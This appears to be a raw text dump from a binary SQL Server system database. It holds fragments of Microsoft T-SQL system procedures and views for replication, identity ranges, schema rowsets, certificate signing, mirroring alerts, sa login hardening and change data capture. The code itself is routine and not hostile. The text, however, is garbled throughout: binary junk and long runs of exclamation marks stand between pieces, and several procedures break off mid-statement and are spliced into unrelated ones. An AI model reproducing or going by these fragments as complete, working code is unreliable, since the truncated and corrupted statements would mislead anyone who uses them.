            when @additive_resolver_clsid then @80additive_resolver_clsid
            when @average_resolver_clsid then @80average_resolver_clsid
            when @download_resolver_clsid then @80download_resolver_clsid
            when @max_resolver_clsid then @80max_resolver_clsid
            when @mergetxt_resolver_clsid then @80mergetxt_resolver_clsid
            when @min_resolver_clsid then @80min_resolver_clsid
            when @subwins_resolver_clsid then @80subwins_resolver_clsid
            when @upload_resolver_clsid then @80upload_resolver_clsid
            when @sp_resolver_clsid then @80sp_resolver_clsid
            -- new resolvers that exist in Yukon but not yet in Shiloh
            else @resolver_clsid 
        end
        return @resolver_clsid
    end
    
    -- need to map 7.0 clsid as well. only stored proc resolver shipped for 7.0
    if @compatibility_level >= 7000000 and @article_resolver = 'Microsoft SQLServer Stored Procedure Resolver'
        set @resolver_clsid = '{6F31CE30-7BE4-11d1-9B0A-00C04FC2DEB3}'
        
    return @resolver_clsid
    
    end
\p\png terribly wrong here. @max_used is not in the ranges available at the publisher
            raiserror(21197, 16, -1)
            goto FAILURE
        end
    end
end
commit tran

select @range_begin = @next_seed, @range_end = @next_seed+@range

if @is_republisher=0
begin
    declare @publication sysname
    select @publication = name from dbo.sysmergepublications where pubid = @pubid

    -- set the values about the current allocation on the distributor.
    exec @retcode = sys.sp_MSmerge_log_idrange_alloc_on_distributor    
                    NULL,
                    @artid, 
                    0, -- is_pub_range 0 because we just allocated to a subscriber
                    1, -- we allocated only one range since this a backward compat thing
                    @range_begin,
                    @range_end,
                    NULL, -- next_range_begin is NULL because we are allocating only one range to a downlevel subscriber
                    NULL, -- next_range_end is NULL because we are allocating only one range to a downlevel subscriber
                    @publication,
                    N'',
                    N''
end


--initialize article collection for agents.
select @identity_support, @next_seed, @range, @threshold

return 0
FAILURE:
    if @@trancount>0
    begin
        rollback tran fetchidentityrange
        commit tran
    end
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"t`<(IDD9v5
create procedure sys.sp_procedure_params_rowset
(
    @procedure_name     sysname,
    @group_number       int = 1,
    @procedure_schema   sysname = null,
    @parameter_name     sysname = null
)
as
    select
        PROCEDURE_CATALOG           = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pp.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pp.procedure_number,@group_number,1), 5))),
        PARAMETER_NAME              = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pp.IS_NULLABLE,
        DATA_TYPE                   = s_pp.DATA_TYPE_28, -- for backward compatibility
        CHARACTER_MAXIMUM_LENGTH    = s_pp.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH      = s_pp.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME_28, -- for backward compatibility
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME_28 -- for backward compatibility

    from
        sys.spt_procedure_params_view s_pp

    where
        (@procedure_schema is null and s_pp.PROCEDURE_NAME = @procedure_name)
        and
        (
            @group_number is null or
            (s_pp.procedure_number = @group_number and s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0             and s_pp.type in ('FN', 'TF', 'IF'))
        ) and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pp.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pp.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pp.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pp.procedure_number,@group_number,1), 5))),
        PARAMETER_NAME              = s_pp.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pp.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pp.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pp.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pp.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pp.IS_NULLABLE,
        DATA_TYPE                   = s_pp.DATA_TYPE_28, -- for backward compatibility
        CHARACTER_MAXIMUM_LENGTH    = s_pp.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH      = s_pp.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION           = s_pp.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pp.NUMERIC_SCALE,
        DESCRIPTION                 = s_pp.DESCRIPTION,
        TYPE_NAME                   = s_pp.TYPE_NAME_28, -- for backward compatibility
        LOCAL_TYPE_NAME             = s_pp.LOCAL_TYPE_NAME_28 -- for backward compatibility

    from
        sys.spt_procedure_params_view s_pp

    where
        (@procedure_schema is not null and s_pp.object_id = object_id(quotename(@procedure_schema) + '.' + quotename(@procedure_name)))
        and
        (
            @group_number is null or
            (s_pp.procedure_number = @group_number and s_pp.type in ('P', 'PC')) or
            (s_pp.procedure_number = 0             and s_pp.type in ('FN', 'TF', 'IF'))
        ) and
        (@parameter_name is null or @parameter_name = s_pp.PARAMETER_NAME)

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,@group_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME

    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is null and s_pprv.PROCEDURE_NAME = @procedure_name)
        and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )
        and
        (
            @group_number is null or
            (s_pprv.procedure_number = 0             and s_pprv.type in ('FN', 'TF', 'IF')) or
            (s_pprv.procedure_number = @group_number and s_pprv.type in ('P', 'PC'))
        )

    UNION ALL

    select
        PROCEDURE_CATALOG           = s_pprv.PROCEDURE_CATALOG,
        PROCEDURE_SCHEMA            = s_pprv.PROCEDURE_SCHEMA,
        PROCEDURE_NAME              = convert(nvarchar(134),
                                                s_pprv.PROCEDURE_NAME +';'+
                                                ltrim(str(coalesce(s_pprv.procedure_number,@group_number,1), 5))),
        PARAMETER_NAME              = s_pprv.PARAMETER_NAME,
        ORDINAL_POSITION            = s_pprv.ORDINAL_POSITION,
        PARAMETER_TYPE              = s_pprv.PARAMETER_TYPE,
        PARAMETER_HASDEFAULT        = s_pprv.PARAMETER_HASDEFAULT,
        PARAMETER_DEFAULT           = s_pprv.PARAMETER_DEFAULT,
        IS_NULLABLE                 = s_pprv.IS_NULLABLE,
        DATA_TYPE                   = s_pprv.DATA_TYPE, -- Return value is either int or empty.
        CHARACTER_MAXIMUM_LENGTH    = s_pprv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH      = s_pprv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION           = s_pprv.NUMERIC_PRECISION,
        NUMERIC_SCALE               = s_pprv.NUMERIC_SCALE,
        DESCRIPTION                 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME

    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is not null and s_pprv.object_id = object_id(quotename(@procedure_schema) + '.' + quotename(@procedure_name)))
        and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )
        and
        (
            @group_number is null or
            (s_pprv.procedure_number = 0             and s_pprv.type in ('FN', 'TF',!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`:	T<uGa{0v 8 
-- add it
create view sys.dm_pdw_nodes_tran_current_transaction as
select *, convert(int, null) pdw_node_id from sys.dm_tran_current_transaction
0D +8create procedure sys.sp_MSrepltrigpreparecert 
(
    @mode tinyint    -- 1 = create/refresh, 2 = drop
    ,@certname sysname -- certificate name
    ,@publisher sysname  -- publisher
    ,@publisher_db sysname -- publisher db
    ,@publication sysname -- publication
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@certpwd sysname 
                ,@cmd nvarchar(4000)
                ,@objectname nvarchar(517)
                ,@object_id int
                ,@ccertname sysname
                ,@mssql_data_path nvarchar(255)

    --
    -- validate @mode
    --
    if (@mode not in (1,2))
        return 1
    --
    -- Do we already have a certificate
    --    
    select distinct @ccertname = c.name 
    from sys.crypt_properties cp join sys.certificates c 
        on cp.thumbprint = c.thumbprint
    where object_name(cp.major_id) in 
        (select object_name 
            from dbo.MSreplication_objects
            where upper(publisher) = upper(@publisher)
                and publisher_db = @publisher_db
                and publication = @publication
                and object_type = 'T')
 
    if (@ccertname is not null)
    begin
        --
        -- if we are in drop mode, the name should match
        --
        if @mode = 2 and @certname != @ccertname
            return 1
    end
    --
    -- declare a cursor for 
    -- selecting the triggers for this publication
    --
    declare #hctriggers cursor local fast_forward for
        select quotename(schema_name(o.schema_id)) + N'.' + quotename(o.name), o.object_id
        from dbo.MSreplication_objects as ro 
            join sys.objects as o
                on ro.object_name = o.name
                    and upper(ro.publisher) = upper(@publisher)
                    and ro.publisher_db = @publisher_db
                    and ro.publication = @publication
                    and ro.object_type = 'T'
    --
    -- process drop first
    --
    if (@ccertname is not null)
    begin
        open #hctriggers
        fetch #hctriggers into @objectname, @object_id
        while (@@fetch_status = 0)
        begin
            --
            -- if the trigger is signed with certificate - drop it
            --
            if exists (select cp.thumbprint 
                        from sys.crypt_properties cp join sys.certificates c 
                            on cp.thumbprint = c.thumbprint
                        where c.name = @ccertname
                            and cp.major_id = @object_id)
            begin
                select @cmd = N'drop signature from ' + @objectname + N' by certificate ' + quotename(@ccertname)
                exec (@cmd)
                if (@@error != 0)
                    return 1
            end
            --
            -- get the next trigger
            --
            fetch #hctriggers into @objectname, @object_id
        end
        close #hctriggers
        --
        -- drop the certificate
        --
        if cert_id(@ccertname) is not null
        begin
            select @cmd = N'drop certificate ' + quotename(@ccertname)
            exec (@cmd)
            if (@@error != 0)
                return 1
        end
    end -- if (@ccertname is not null)
    --
    -- if drop mode - we are done
    --
    if (@mode = 2)
    begin
        deallocate #hctriggers
        return 0
    end
    --
    --
    -- create the certificate
    --
    select @certpwd = cast(newid() as sysname) + '~Repl~' + cast(newid() as sysname)
    select @cmd = N'create certificate ' + quotename(@certname) 
        + N' encryption by password = ''' + @certpwd + N''' '
        + N' with subject =  ''Replication certificate for sync trigger''  '
    exec (@cmd)
    if (@@error != 0)
        return 1
    --
    -- select the triggers for this publication
    --
    open #hctriggers
    fetch #hctriggers into @objectname, @object_id
    while (@@fetch_status = 0)
    begin
        --
        -- sign the trigger with certificate
        --
        select @cmd = N'add signature to ' + @objectname 
            + N' by certificate ' + quotename(@certname) + N' with password = ''' + @certpwd + N''' '
        exec (@cmd)
        if (@@error != 0)
            return 1
        --
        -- get the next trigger
        --
        fetch #hctriggers into @objectname, @object_id
    end
    close #hctriggers
    deallocate #hctriggers
    --
    -- done with signing
    -- drop the private key of the certificate
    --
    select @cmd = N'alter certificate ' + quotename(@certname) + N' remove private key '
    exec (@cmd)
    if (@@error != 0)
        return 1
    --
    -- backup certificate for import 
    -- Note -if we can copy certificates across databases - this will not be needed anymore
    --
    exec @retcode = sys.sp_MSget_setup_paths @data_path = @mssql_data_path output
    if (@retcode != 0 or @@error != 0 or @mssql_data_path = N'')
        return 1
    select @cmd = N'backup certificate ' + quotename(@certname) + N' to file = ''' + sys.fn_replreplacesinglequote(@mssql_data_path + N'\DATA\' + @certname) + '.cer'' '
    exec (@cmd)
    if (@@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
0@ C8
--
-- Name:    
--          sp_getsubscription_status_hsnapshot
--          
-- Description: 
--          Specialized stored procedure for heterogeneous snapshot agent to
--          determine subscription status.
--  
-- Security: 
--          Agent
--
--          Result set:  Subscription status
--      
-- Owner:   
--          sward 

create procedure sys.sp_getsubscription_status_hsnapshot
(
	@publication	sysname,
	@article	sysname,
	@publisher	sysname
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher = @publisher,
        @publisher_type = @publisher_type OUTPUT,
        @rpcheader = @cmd OUTPUT,
        @skipSecurityCheck	= 1

    IF @retcode <> 0
        RETURN (@retcode)

    -- This procedue is only to be used with heterogeneous publishers    
    IF @publisher_type = N'MSSQLSERVER'
    BEGIN
        RAISERROR (21659, 16, -1)
        RETURN (1)
    END

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
    set @cmd = @cmd + N'sys.sp_MSrepl_getsubscription_status_hsnapshot'
	
    EXEC @retcode = @cmd
        @publication,
        @article,
        @publisher

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
	B`:	<
G	g10?] 8create procedure sys.sp_dbmmonitorchangealert
(
	@database_name		sysname, 
    @alert_id			int ,	-- 1 TimeBehind (minutes), 2 = SendQueue (kb), 3 = RedoQueue (kb), 4 = AverageDelay (milleseconds), 5 retention period (hours)
	@threshold			int ,	-- Value
	@enabled			bit	= 1	-- is this enabled or not? By default it is enabled.
)
as
begin
	set nocount on
	-- Is the caller SYSADMIN?
	if (is_srvrolemember(N'sysadmin') <> 1 )
    begin
		raiserror(21089, 16, 1)
		return (1)
	end
	-- Is this a system database?
	if(@database_name = N'msdb' or @database_name = N'master' or @database_name = N'model' or @database_name = N'tempdb')
	begin
		raiserror( 32050, 16, 1)
		return 1
	end
	-- Are the parameters correct?
	if(@alert_id < 1 or @alert_id > 5 or @threshold < 0)
	begin
		raiserror( 32036, 16, 2 )
		return 1
	end
	-- Does the table exist?
	if object_id ( N'msdb.dbo.dbm_monitor_alerts', N'U' ) is null
	begin
		raiserror( 32041, 16, 1 )
		return 1
	end
	-- Does the database exist?
	if not exists (select * from master.sys.databases where name = @database_name)
	begin
		raiserror(15010, 16, 1, @database_name)
		return 1
	end
	-- If the alert row does not exist, create it.  otherwise update it.
	if not exists (select * from msdb.dbo.dbm_monitor_alerts where database_id = db_id(@database_name))
	begin	-- TO DO: Change this around a bit to update it in one statement
		if @alert_id = 1
		begin
			insert into msdb.dbo.dbm_monitor_alerts (database_id, time_behind, enable_time_behind) 
				values (db_id(@database_name), @threshold, @enabled )
			return 0
		end
		if @alert_id = 2
		begin
			insert into msdb.dbo.dbm_monitor_alerts (database_id, send_queue, enable_send_queue) 
				values (db_id(@database_name), @threshold, @enabled )
			return 0
		end
		if @alert_id = 3
		begin
			insert into msdb.dbo.dbm_monitor_alerts (database_id, redo_queue, enable_redo_queue) 
				values (db_id(@database_name), @threshold, @enabled )
			return 0
		end
		if @alert_id = 4
		begin
			insert into msdb.dbo.dbm_monitor_alerts (database_id, average_delay, enable_average_delay) 
				values (db_id(@database_name), @threshold, @enabled )
			return 0
		end
		if @alert_id = 5
		begin
			if @threshold > 85440			-- this is about 10 years
			begin
				raiserror( 32036, 16, 2 )	-- generic error message about parameter out of range.
				return 1
			end
			insert into msdb.dbo.dbm_monitor_alerts (database_id, retention_period ) 
				values (db_id(@database_name), @threshold )
			return 0
		end
	end
	else
	begin
		if @alert_id = 1
		begin
			update msdb.dbo.dbm_monitor_alerts set time_behind = @threshold, enable_time_behind = @enabled where database_id = db_id(@database_name)
			return 0
		end
		if @alert_id = 2
		begin
			update msdb.dbo.dbm_monitor_alerts set send_queue = @threshold, enable_send_queue = @enabled where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 3
		begin
			update msdb.dbo.dbm_monitor_alerts set redo_queue = @threshold, enable_redo_queue = @enabled where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 4
		begin
			update msdb.dbo.dbm_monitor_alerts set average_delay = @threshold, enable_average_delay = @enabled where database_id = db_id(@database_name) 
			return 0
		end
		if @alert_id = 5
		begin
			if @threshold > 85440			-- this is about 10 years
			begin
				raiserror( 32036, 16, 2 )	-- generic error message about parameter out of range.
				return 1
			end
			update msdb.dbo.dbm_monitor_alerts set retention_period = @threshold where database_id = db_id(@database_name) 			
			return 0
		end
	end
	return 1
end
0w=d 8
create procedure sys.sp_columns_100_rowset
(
    @table_name     sysname = NULL,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE, -- Used by Katmai+ clients
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH,
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH,
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG,
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA,
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME,
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG,
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA,
        COLLATION_NAME          = s_cv.COLLATION_NAME,
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID,
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS,
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION,
        IS_COMPUTED             = s_cv.IS_COMPUTED,
        SS_XML_SCHEMACOLLECTION_CATALOGNAME = s_cv.SS_XML_SCHEMACOLLECTION_CATALOGNAME,
        SS_XML_SCHEMACOLLECTION_SCHEMANAME  = s_cv.SS_XML_SCHEMACOLLECTION_SCHEMANAME,
        SS_XML_SCHEMACOLLECTIONNAME         = s_cv.SS_XML_SCHEMACOLLECTIONNAME,
        SS_UDT_CATALOGNAME      = s_cv.SS_UDT_CATALOGNAME,
        SS_UDT_SCHEMANAME       = s_cv.SS_UDT_SCHEMANAME,
        SS_UDT_NAME             = s_cv.SS_UDT_NAME,
        SS_UDT_ASSEMBLY_TYPENAME= s_cv.SS_UDT_ASSEMBLY_TYPENAME,
        SS_IS_SPARSE            = s_cv.SS_IS_SPARSE,
        SS_IS_COLUMN_SET        = s_cv.SS_IS_COLUMN_SET

    from
        sys.spt_columns_view s_cv

    where
        (
            (@table_schema is null and s_cv.TABLE_NAME = @table_name) or
             s_cv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<2"#0@ ^8 
-- add it
create view sys.dm_pdw_online_backups as
select
	BackupName	collate database_default BackupName,
	BackupDescription	collate database_default BackupDescription,
	BackupType,
	ExpirationDate,
	Compressed,
	Position,
	DeviceType,
	UserName	collate database_default UserName,
	ServerName	collate database_default ServerName,
	DatabaseName	collate database_default DatabaseName,
	DatabaseVersion,
	DatabaseCreationDate,
	BackupSize,
	FirstLSN,
	LastLSN,
	CheckpointLSN,
	DatabaseBackupLSN,
	BackupStartDate,
	BackupFinishDate,
	SortOrder,
	CodePage,
	UnicodeLocaleId,
	UnicodeComparisonStyle,
	CompatibilityLevel,
	SoftwareVendorId,
	SoftwareVersionMajor,
	SoftwareVersionMinor,
	SoftwareVersionBuild,
	MachineName	collate database_default MachineName,
	Flags,
	BindingID	collate database_default BindingID,
	RecoveryForkID	collate database_default RecoveryForkID,
	Collation	collate database_default Collation,
	FamilyGUID	collate database_default FamilyGUID,
	HasBulkLoggedData,
	IsSnapshot,
	IsReadOnly,
	IsSingleUser,
	HasBackupChecksums,
	IsDamaged,
	BeginsLogChain,
	HasIncompleteMetaData,
	IsForceOffline,
	IsCopyOnly,
	FirstRecoveryForkID	collate database_default FirstRecoveryForkID,
	ForkPointLSN,
	RecoveryModel	collate database_default RecoveryModel,
	DifferentialBaseLSN,
	DifferentialBaseGUID	collate database_default DifferentialBaseGUID,
	BackupTypeDescription	collate database_default BackupTypeDescription,
	BackupSetGUID	collate database_default BackupSetGUID,
	CompressedBackupSize
from sys._dm_pdw_online_backups
0 8create procedure sys.sp_SetAutoSAPasswordAndDisable
as
    -- can execute only as SysAdmin
	if (not (is_srvrolemember('sysadmin') = 1))  -- Make sure that it is the SA executing this.
	begin
		raiserror(15247,-1,-1)
		return(1)
	end

   	-- Begin a transaction
   	BEGIN TRANSACTION
   	
   	declare @stmt nvarchar(4000)
	declare @sa nvarchar(128)
   	
   	SELECT @sa = name 
		FROM sys.server_principals WHERE sid = 0x01
   	
	-- Disable Password Policy on the SA Login
	SELECT @stmt = 'ALTER LOGIN ' + quotename(@sa) + ' WITH CHECK_POLICY = OFF '
	EXEC(@stmt)
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRANSACTION
		RETURN (1)
	END

	-- Create a New Guid as the random password
	declare @randompwd UNIQUEIDENTIFIER
	
	SET @randompwd = newid()
	SELECT @stmt = 'ALTER LOGIN ' + quotename(@sa) + ' WITH PASSWORD = ' + quotename(@randompwd, '''')
	EXEC(@stmt)
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRANSACTION
		RETURN (1)
	END

	-- Now set the policy back
	SELECT @stmt = 'ALTER LOGIN ' + quotename(@sa) + ' WITH CHECK_POLICY = ON '
	EXEC(@stmt)
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRANSACTION
		RETURN (1)
	END	

	-- Now set the policy back
	SELECT @stmt = 'ALTER LOGIN ' + quotename(@sa) + ' DISABLE '
	EXEC(@stmt)
	IF @@ERROR <> 0
	BEGIN
		ROLLBACK TRANSACTION
		RETURN (1)
	END	

	-- Commit the transaction
	COMMIT TRANSACTION
0-@ {8CREATE VIEW sys.dm_logpool_stats AS
	SELECT * 
	FROM OpenRowSet(TABLE DM_LOGPOOL_STATS)
03 @ 8create procedure sys.sp_MS_marksystemobjectwitherror(
    @objectname nvarchar(517)
    )
as
begin
    set nocount on
    declare @retcode int
    select @retcode = 0

    exec @retcode = dbo.sp_MS_marksystemobject @objectname

    if @@error<>0 set @retcode = 1
        
    if @retcode <> 0
        raiserror(21755, 16, 1, @objectname)

    return @retcode
end
0 D8+h30
? ]8create function [sys].[fn_cdc_map_time_to_lsn]				
(														
	@relational_operator nvarchar(30),
	@tracking_time datetime									
)														
returns binary(10)
with returns null on null input
as													
begin													
	declare @lsn binary(10)
	
	select @relational_operator = rtrim(ltrim(lower(@relational_operator)))
		
	if (@relational_operator not in (N'largest less than',     N'largest less than or equal',
									 N'smallest greater than', N'smallest greater than or equal'))
	begin
		return null
	end

	set @lsn = null
	if (@relational_operator = N'largest less than')
	begin
		select @lsn = max(start_lsn)
		from [cdc].[lsn_time_mapping]
		where tran_end_time < @tracking_time
	end
	
	else if (@relational_operator = N'largest less than or equal')
	begin
		select @lsn = max(start_lsn)
		from [cdc].[lsn_time_mapping]
		where tran_end_time <= @tracking_time
	end
	
	else if (@relational_operator = N'smallest greater than')
	begin
		select @lsn = min(start_lsn)
		from [cdc].[lsn_time_mapping]
		where tran_end_time > @tracking_time
